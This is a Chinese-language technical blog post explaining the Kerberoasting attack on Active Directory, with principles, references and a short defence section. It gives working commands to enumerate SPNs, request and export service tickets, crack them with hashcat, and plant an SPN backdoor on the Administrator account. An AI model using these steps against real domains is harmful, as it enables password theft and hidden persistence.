域渗透——Kerberoasting

0x00 前言


Kerberoasting是域渗透中经常使用的一项技术,本文将参考公开的资料,结合自己的理解,详细介绍Kerberoasting的原理和实现,以及一个后门利用的方法,最后给出防御建议。

参考资料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/

https://malicious.link/post/2016/kerberoast-pt1/

https://malicious.link/post/2016/kerberoast-pt2/

https://malicious.link/post/2016/kerberoast-pt3/

https://adsecurity.org/?p=3458

https://adsecurity.org/?page_id=183

https://blog.netspi.com/faster-domain-escalation-using-ldap/

https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx

0x01 简介


本文将要介绍以下内容:

  • Kerberoasting相关概念
  • Kerberoasting的原理
  • Kerberoasting的实现
  • Kerberoasting的后门利用
  • Kerberoasting的防御

0x02 基本概念


SPN

官方文档:

https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names

全称Service Principal Names

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

当一个服务的权限为Local SystemNetwork Service,则SPN注册在机器帐户(Computers)下

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN的格式

serviceclass/host:port/servicename

说明:

  • serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
  • host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
  • 如果服务运行在默认端口上,则端口号(port)可以省略

查询SPN

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测

(1) 使用SetSPN

Win7和Windows Server2008自带的工具

查看当前域内的所有SPN:

setspn.exe -q */*

查看test域内的所有SPN:

setspn.exe -T test -q */*

输出结果实例:

CN=DC1,OU=Domain Controllers,DC=test,DC=com
        exchangeRFR/DC1
        exchangeRFR/DC1.test.com
        exchangeMDB/DC1.test.com
        exchangeMDB/DC1
        exchangeAB/DC1
        exchangeAB/DC1.test.com
        SMTP/DC1
        SMTP/DC1.test.com
        SmtpSvc/DC1
        SmtpSvc/DC1.test.com
        ldap/DC1.test.com/ForestDnsZones.test.com
        ldap/DC1.test.com/DomainDnsZones.test.com
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
        DNS/DC1.test.com
        GC/DC1.test.com/test.com
        RestrictedKrbHost/DC1.test.com
        RestrictedKrbHost/DC1
        HOST/DC1/TEST
        HOST/DC1.test.com/TEST
        HOST/DC1
        HOST/DC1.test.com
        HOST/DC1.test.com/test.com
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
        ldap/DC1/TEST
        ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
        ldap/DC1.test.com/TEST
        ldap/DC1
        ldap/DC1.test.com
        ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
        kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
        RestrictedKrbHost/COMPUTER01
        HOST/COMPUTER01
        RestrictedKrbHost/COMPUTER01.test.com
        HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
        MSSQLSvc/DC1.test.com

以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN

对于上面的输出数据,机器帐户(Computers)为:

  • CN=DC1,OU=Domain Controllers,DC=test,DC=com
  • CN=COMPUTER01,CN=Computers,DC=test,DC=com

域用户帐户(Users)为:

  • CN=krbtgt,CN=Users,DC=test,DC=com
  • CN=MSSQL Service Admin,CN=Users,DC=test,DC=com

注册在域用户帐户(Users)下的SPN有两个:kadmin/changepwMSSQLSvc/DC1.test.com

0x03 Kerberoasting的原理


1、Kerberos认证过程

一个简单的Kerberos认证过程如下图

Alt text

  1. as_request
  2. as_reply
  3. tgs_request
  4. tgs_reply
  5. ap_request
  6. ap_reply

对于4.tgs_reply,用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC

站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令

2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系

这里举一个例子:

用户a要访问MySQL服务的资源,进行到4.tgs_reply时,步骤如下:

(1)Domain Controller查询MySQL服务的SPN

如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户

如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户

(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS

3、域内的主机都能查询SPN

4、域内的任何用户都可以向域内的任何服务请求TGS

综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解

对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)

因此,高效率的利用思路如下:

  1. 查询SPN,找到有价值的SPN,需要满足以下条件:
    • 该SPN注册在域用户帐户(Users)下
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

0x04 Kerberoasting的实现方法一


1、获得有价值的SPN

需要满足以下条件:

  • 该SPN注册在域用户帐户(Users)下
  • 域用户账户的权限很高

可以选择以下三种方法:

(1)使用powershell模块Active Directory

注:

powershell模块Active Directory 需要提前安装,域控制器一般会安装

import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

对于未安装Active Directory模块的系统,可以通过如下命令导入Active Directory模块:

import-module .\Microsoft.ActiveDirectory.Management.dll

Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成,我已经提取出来并上传至github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

(2)使用PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

(3)使用kerberoast

powershell:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

参数如下:

cscript GetUserSPNs.vbs

2、请求TGS

(1)请求指定TGS

$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

(2)请求所有TGS

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

执行后输入klist查看内存中的票据,可找到获得的TGS

3、导出

使用mimikatz

kerberos::list /export

4、破解

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

./tgsrepcrack.py wordlist.txt test.kirbi

0x05 Kerberoasting的实现方法二


自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

代码地址:

https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解

实例演示:

在域内一台主机上以普通用户权限执行:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

-AdminCount表示选择高权限的用户

输出结果如下图

Alt text

只提取出hash的参数如下:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

输出结果如下图

Alt text

使用hashcat破解的参数如下:

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

破解结果如下图,成功获得明文口令MySQLAdmin111!

Alt text

注:

Rubeus也可以实现Invoke-Kerberoast的功能,地址如下:

https://github.com/GhostPack/Rubeus

参数如下:

Rubeus.exe kerberoast

0x06 Kerberoasting的后门利用


在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令

例如为域用户Administrator添加SPNVNC/DC1.test.com,参数如下:

setspn.exe -U -A VNC/DC1.test.com Administrator

如下图

Alt text

在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,如下图

Alt text

再使用hashcat破解即可

补充:

删除SPN的参数如下:

setspn.exe -D VNC/DC1.test.com Administrator

0x07 防御


站在防御的角度,不可能阻止kerberoast,但可以对有攻击价值的SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令

管理员可在域内一台主机上使用Invoke-Kerberoast检查是否存在危险的SPN

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

参数:

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

0x08 小结


本文对Kerberoasting的原理、方法和防御作了详细介绍,并进行了实例演示。


LEAVE A REPLY

Written on January 15, 2019